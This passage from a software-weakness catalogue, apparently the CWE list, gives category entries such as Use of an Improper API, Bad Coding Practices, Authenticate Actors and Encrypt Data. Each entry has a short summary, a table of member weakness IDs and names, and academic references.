Summary

This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster (SFP3).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	887	SFP Primary Cluster: API	888	1922
HasMember	V	111	Direct Use of Unsafe JNI	888	247
HasMember	C	227	7PK - API Abuse	888	1853
HasMember	B	242	Use of Inherently Dangerous Function	888	536
HasMember	V	245	J2EE Bad Practices: Direct Management of Connections	888	541
HasMember	V	246	J2EE Bad Practices: Direct Use of Sockets	888	543
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	888	836
HasMember	V	383	J2EE Bad Practices: Direct Use of Threads	888	837
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	888	932
HasMember	B	439	Behavioral Change in New Version or Environment	888	947
HasMember	B	440	Expected Behavior Violation	888	949
HasMember	B	474	Use of Function with Inconsistent Implementations	888	1006
HasMember	B	477	Use of Obsolete Function	888	1015
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	888	1021
HasMember	V	558	Use of getlogin() in Multithreaded Application	888	1130
HasMember	V	572	Call to Thread run() instead of start()	888	1152
HasMember	C	573	Improper Following of Specification by Caller	888	1153
HasMember	V	574	EJB Bad Practices: Use of Synchronization Primitives	888	1155
HasMember	V	575	EJB Bad Practices: Use of AWT Swing	888	1156
HasMember	V	576	EJB Bad Practices: Use of Java I/O	888	1159
HasMember	V	577	EJB Bad Practices: Use of Sockets	888	1161
HasMember	V	578	EJB Bad Practices: Use of Class Loader	888	1162
HasMember	V	586	Explicit Call to Finalize()	888	1174
HasMember	V	589	Call to Non-ubiquitous API	888	1178
HasMember	B	617	Reachable Assertion	888	1224
HasMember	B	676	Use of Potentially Dangerous Function	888	1317
HasMember	C	684	Incorrect Provision of Specified Functionality	888	1332
HasMember	B	695	Use of Low-Level Functionality	888	1347
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	888	1393

Category-1002: SFP Secondary Cluster: Unexpected Entry Points

Category ID : 1002 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	897	SFP Primary Cluster: Entry Points	888	1925
HasMember	B	489	Active Debug Code	888	1042
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	888	1044

Nature	Type	ID	Name	V	Page
HasMember	V	493	Critical Public Variable Without Final Modifier	888	1053
HasMember	V	500	Public Static Field Not Marked Final	888	1069
HasMember	V	531	Inclusion of Sensitive Information in Test Code	888	1103
HasMember	V	568	finalize() Method Without super.finalize()	888	1146
HasMember	V	580	clone() Method Without super.clone()	888	1166
HasMember	V	582	Array Declared Public, Final, and Static	888	1168
HasMember	V	583	finalize() Method Declared Public	888	1169
HasMember	V	608	Struts: Non-private Field in ActionForm Class	888	1210
HasMember	V	766	Critical Data Element Declared Public	888	1415

Category-1005: 7PK - Input Validation and Representation

Category ID : 1005 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
HasMember	C	20	Improper Input Validation	700	19
HasMember	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	700	136
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	700	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	700	187
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	700	224

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

Category-1006: Bad Coding Practices

Category ID : 1006 **Status:** Draft

Summary

Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully

developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	478	Missing Default Case in Switch Statement	699	1018
HasMember	B	487	Reliance on Package-level Scope	699	1038
HasMember	B	489	Active Debug Code	699	1042
HasMember	V	546	Suspicious Comment	699	1118
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	699	1120
HasMember	B	561	Dead Code	699	1133
HasMember	B	562	Return of Stack Variable Address	699	1136
HasMember	V	563	Assignment to Variable without Use	699	1137
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	699	1167
HasMember	V	586	Explicit Call to Finalize()	699	1174
HasMember	B	605	Multiple Binds to the Same Port	699	1205
HasMember	B	621	Variable Extraction Error	699	1231
HasMember	B	627	Dynamic Variable Evaluation	699	1241
HasMember	B	628	Function Call with Incorrectly Specified Arguments	699	1243
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	699	1346
HasMember	B	1041	Use of Redundant Code	699	1643
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	699	1645
HasMember	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	699	1646
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	699	1647
HasMember	B	1046	Creation of Immutable Text Using String Concatenation	699	1648
HasMember	B	1048	Invokable Control Element with Large Number of Outward Calls	699	1650
HasMember	B	1049	Excessive Data Query Operations in a Large Data Table	699	1651
HasMember	B	1050	Excessive Platform Resource Consumption within a Loop	699	1652
HasMember	B	1063	Creation of Class Instance within a Static Code Block	699	1665
HasMember	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	699	1667
HasMember	B	1066	Missing Serialization Control Element	699	1668
HasMember	B	1067	Excessive Execution of Sequential Searches of Data Resource	699	1669
HasMember	B	1070	Serializable Data Element Containing non-Serializable Item Elements	699	1671
HasMember	B	1071	Empty Code Block	699	1672
HasMember	B	1072	Data Resource Access without Use of Connection Pooling	699	1673
HasMember	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	699	1674
HasMember	B	1079	Parent Class without Virtual Destructor Method	699	1680
HasMember	B	1082	Class Instance Self Destruction Control Element	699	1682

Nature	Type	ID	Name	V	Page
HasMember	B	1084	Invokable Control Element with Excessive File or Data Access Operations	699	1684
HasMember	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code	699	1685
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor	699	1687
HasMember	B	1089	Large Data Table with Excessive Number of Indices	699	1689
HasMember	B	1091	Use of Object without Invoking Destructor Method	699	1691
HasMember	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers	699	1692
HasMember	B	1094	Excessive Index Range Scan for a Data Resource	699	1694
HasMember	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	699	1697
HasMember	V	1098	Data Element containing Pointer Item without Proper Copy Control Element	699	1698
HasMember	B	1099	Inconsistent Naming Conventions for Identifiers	699	1699
HasMember	B	1101	Reliance on Runtime Component in Generated Code	699	1700
HasMember	B	1102	Reliance on Machine-Dependent Data Representation	699	1701
HasMember	B	1103	Use of Platform-Dependent Third Party Components	699	1702
HasMember	B	1104	Use of Unmaintained Third Party Components	699	1703
HasMember	B	1106	Insufficient Use of Symbolic Constants	699	1704
HasMember	B	1107	Insufficient Isolation of Symbolic Constant Definitions	699	1705
HasMember	B	1108	Excessive Reliance on Global Variables	699	1706
HasMember	B	1109	Use of Same Variable for Multiple Purposes	699	1707
HasMember	B	1113	Inappropriate Comment Style	699	1709
HasMember	B	1114	Inappropriate Whitespace Style	699	1710
HasMember	B	1115	Source Code Element without Standard Prologue	699	1711
HasMember	B	1116	Inaccurate Comments	699	1712
HasMember	B	1117	Callable with Insufficient Behavioral Summary	699	1712
HasMember	B	1126	Declaration of Variable with Unnecessarily Wide Scope	699	1720
HasMember	B	1127	Compilation with Insufficient Warnings or Errors	699	1720
HasMember	B	1235	Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations	699	1754

Category-1009: Audit

Category ID : 1009 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	117	Improper Output Neutralization for Logs	1008	266
HasMember	B	223	Omission of Security-relevant Information	1008	513

Nature	Type	ID	Name	V	Page
HasMember	B	224	Obscured Security-relevant Information by Alternate Name	1008	515
HasMember	B	532	Insertion of Sensitive Information into Log File	1008	1104
HasMember	B	778	Insufficient Logging	1008	1444
HasMember	B	779	Logging of Excessive Data	1008	1446

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1010: Authenticate Actors

Category ID : 1010 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	V	258	Empty Password in Configuration File	1008	567
HasMember	V	259	Use of Hard-coded Password	1008	569
HasMember	B	262	Not Using Password Aging	1008	577
HasMember	B	263	Password Aging with Long Expiration	1008	579
HasMember	C	287	Improper Authentication	1008	630
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	1008	636
HasMember	V	289	Authentication Bypass by Alternate Name	1008	638
HasMember	B	290	Authentication Bypass by Spoofing	1008	640
HasMember	V	291	Reliance on IP Address for Authentication	1008	643
HasMember	V	293	Using Referer Field for Authentication	1008	645
HasMember	B	294	Authentication Bypass by Capture-replay	1008	647
HasMember	V	301	Reflection Attack in an Authentication Protocol	1008	666
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	1008	668
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	1008	670
HasMember	B	304	Missing Critical Step in Authentication	1008	671
HasMember	B	305	Authentication Bypass by Primary Weakness	1008	673
HasMember	B	306	Missing Authentication for Critical Function	1008	674
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	1008	678
HasMember	B	308	Use of Single-factor Authentication	1008	682

Nature	Type	ID	Name	V	Page
HasMember	B	322	Key Exchange without Entity Authentication	1008	711
HasMember	B	521	Weak Password Requirements	1008	1089
HasMember	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1008	1183
HasMember	B	603	Use of Client-Side Authentication	1008	1204
HasMember	B	620	Unverified Password Change	1008	1229
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	1008	1253
HasMember	B	798	Use of Hard-coded Credentials	1008	1486
HasMember	B	836	Use of Password Hash Instead of Password for Authentication	1008	1549
HasMember	B	916	Use of Password Hash With Insufficient Computational Effort	1008	1594

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1011: Authorize Actors

Category ID : 1011 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	15	External Control of System or Configuration Setting	1008	17
HasMember	C	114	Process Control	1008	256
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	1008	509
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	1008	510
HasMember	B	266	Incorrect Privilege Assignment	1008	580
HasMember	B	267	Privilege Defined With Unsafe Actions	1008	583
HasMember	B	268	Privilege Chaining	1008	586
HasMember	C	269	Improper Privilege Management	1008	589
HasMember	B	270	Privilege Context Switching Error	1008	593
HasMember	C	271	Privilege Dropping / Lowering Errors	1008	595
HasMember	B	272	Least Privilege Violation	1008	598
HasMember	B	273	Improper Check for Dropped Privileges	1008	601
HasMember	B	274	Improper Handling of Insufficient Privileges	1008	604

Nature	Type	ID	Name	V	Page
HasMember	B	276	Incorrect Default Permissions	1008	606
HasMember	V	277	Insecure Inherited Permissions	1008	609
HasMember	V	279	Incorrect Execution-Assigned Permissions	1008	611
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	1008	613
HasMember	B	281	Improper Preservation of Permissions	1008	615
HasMember	C	282	Improper Ownership Management	1008	616
HasMember	B	283	Unverified Ownership	1008	618
HasMember	P	284	Improper Access Control	1008	619
HasMember	C	285	Improper Authorization	1008	623
HasMember	C	286	Incorrect User Management	1008	629
HasMember	C	300	Channel Accessible by Non-Endpoint	1008	663
HasMember	B	341	Predictable from Observable State	1008	753
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1008	788
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	1008	876
HasMember	B	419	Unprotected Primary Channel	1008	908
HasMember	B	420	Unprotected Alternate Channel	1008	909
HasMember	B	425	Direct Request ('Forced Browsing')	1008	915
HasMember	B	426	Untrusted Search Path	1008	917
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	1008	935
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1008	1099
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	1008	1100
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1008	1101
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	1008	1102
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1008	1111
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1008	1124
HasMember	B	552	Files or Directories Accessible to External Parties	1008	1125
HasMember	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	1008	1142
HasMember	B	639	Authorization Bypass Through User-Controlled Key	1008	1251
HasMember	C	642	External Control of Critical State Data	1008	1257
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	1008	1269
HasMember	B	653	Insufficient Compartmentalization	1008	1279
HasMember	B	656	Reliance on Security Through Obscurity	1008	1285
HasMember	C	668	Exposure of Resource to Wrong Sphere	1008	1305
HasMember	C	669	Incorrect Resource Transfer Between Spheres	1008	1307
HasMember	C	671	Lack of Administrator Control over Security	1008	1309
HasMember	C	673	External Influence of Sphere Definition	1008	1313
HasMember	B	708	Incorrect Ownership Assignment	1008	1363
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1008	1367
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1008	1422

Nature	Type	ID	Name	V	Page
HasMember	V	782	Exposed IOCTL with Insufficient Access Control	1008	1451
HasMember	V	827	Improper Control of Document Type Definition	1008	1527
HasMember	C	862	Missing Authorization	1008	1567
HasMember	C	863	Incorrect Authorization	1008	1573
HasMember	B	921	Storage of Sensitive Data in a Mechanism without Access Control	1008	1602
HasMember	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1008	1604
HasMember	B	939	Improper Authorization in Handler for Custom URL Scheme	1008	1614
HasMember	V	942	Permissive Cross-domain Policy with Untrusted Domains	1008	1621

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1012: Cross Cutting

Category ID : 1012 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	208	Observable Timing Discrepancy	1008	488
HasMember	B	392	Missing Report of Error Condition	1008	853
HasMember	B	460	Improper Cleanup on Thrown Exception	1008	981
HasMember	B	544	Missing Standardized Error Handling Mechanism	1008	1117
HasMember	B	602	Client-Side Enforcement of Server-Side Security	1008	1200
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1008	1355
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	1008	1381
HasMember	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1008	1456
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	1008	1507

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1013: Encrypt Data

Category ID : 1013 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	256	Unprotected Storage of Credentials	1008	562
HasMember	B	257	Storing Passwords in a Recoverable Format	1008	564
HasMember	B	260	Password in Configuration File	1008	573
HasMember	B	261	Weak Encoding for Password	1008	575
HasMember	C	311	Missing Encryption of Sensitive Data	1008	686
HasMember	B	312	Cleartext Storage of Sensitive Information	1008	693
HasMember	V	313	Cleartext Storage in a File or on Disk	1008	697
HasMember	V	314	Cleartext Storage in the Registry	1008	699
HasMember	V	315	Cleartext Storage of Sensitive Information in a Cookie	1008	700
HasMember	V	316	Cleartext Storage of Sensitive Information in Memory	1008	702
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	1008	703
HasMember	V	318	Cleartext Storage of Sensitive Information in Executable	1008	704
HasMember	B	319	Cleartext Transmission of Sensitive Information	1008	705
HasMember	V	321	Use of Hard-coded Cryptographic Key	1008	709
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	1008	713
HasMember	B	324	Use of a Key Past its Expiration Date	1008	715
HasMember	B	325	Missing Required Cryptographic Step	1008	717
HasMember	C	326	Inadequate Encryption Strength	1008	718
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1008	720
HasMember	B	328	Reversible One-Way Hash	1008	726
HasMember	C	330	Use of Insufficiently Random Values	1008	730
HasMember	B	331	Insufficient Entropy	1008	736
HasMember	V	332	Insufficient Entropy in PRNG	1008	739
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	1008	740
HasMember	B	334	Small Space of Random Values	1008	742
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	1008	744
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	1008	745

Nature	Type	ID	Name	V	Page
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	1008	747
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	1008	748
HasMember	V	339	Small Seed Space in PRNG	1008	751
HasMember	B	347	Improper Verification of Cryptographic Signature	1008	764
HasMember	C	522	Insufficiently Protected Credentials	1008	1091
HasMember	B	523	Unprotected Transport of Credentials	1008	1095
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1008	1392
HasMember	V	759	Use of a One-Way Hash without a Salt	1008	1395
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	1008	1399
HasMember	V	780	Use of RSA Algorithm without OAEP	1008	1448
HasMember	C	922	Insecure Storage of Sensitive Information	1008	1603

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1014: Identify Actors

Category ID : 1014 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	295	Improper Certificate Validation	1008	648
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	1008	653
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	1008	656
HasMember	V	298	Improper Validation of Certificate Expiration	1008	659
HasMember	B	299	Improper Check for Certificate Revocation	1008	661
HasMember	C	345	Insufficient Verification of Data Authenticity	1008	758
HasMember	B	346	Origin Validation Error	1008	760
HasMember	V	370	Missing Check for Certificate Revocation after Initial Check	1008	821
HasMember	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1008	950
HasMember	V	599	Missing Validation of OpenSSL Certificate	1008	1192

Nature	Type	ID	Name	V	Page
HasMember	B	940	Improper Verification of Source of a Communication Channel	1008	1617
HasMember	B	941	Incorrectly Specified Destination in a Communication Channel	1008	1619

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1015: Limit Access

Category ID : 1015 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	73	External Control of File Name or Path	1008	125
HasMember	B	201	Exposure of Sensitive Information Through Sent Data	1008	474
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1008	490
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	1008	500
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	1008	538
HasMember	B	250	Execution with Unnecessary Privileges	1008	547
HasMember	C	610	Externally Controlled Reference to a Resource in Another Sphere	1008	1213
HasMember	B	611	Improper Restriction of XML External Entity Reference	1008	1215

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1016: Limit Exposure

Category ID : 1016 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	210	Self-generated Error Message Containing Sensitive Information	1008	496
HasMember	B	211	Externally-Generated Error Message Containing Sensitive Information	1008	498
HasMember	B	214	Invocation of Process Using Visible Sensitive Information	1008	505
HasMember	V	550	Server-generated Error Message Containing Sensitive Information	1008	1123
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	1008	1532
HasMember	V	830	Inclusion of Web Functionality from an Untrusted Source	1008	1538

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1017: Lock Computer

Category ID : 1017 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	1008	1267

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1018: Manage User Sessions

Category ID : 1018 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	1008	2
HasMember		384	Session Fixation	1008	839
HasMember	B	488	Exposure of Data Element to Wrong Session	1008	1040
HasMember	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1008	1164
HasMember	B	613	Insufficient Session Expiration	1008	1219
HasMember	B	841	Improper Enforcement of Behavioral Workflow	1008	1559

References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/cawe-paper.pdf >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf >.

Category-1019: Validate Inputs

Category ID : 1019 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2048
HasMember	C	20	Improper Input Validation	1008	19
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	1008	106
HasMember	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1008	130
HasMember	C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	1008	134
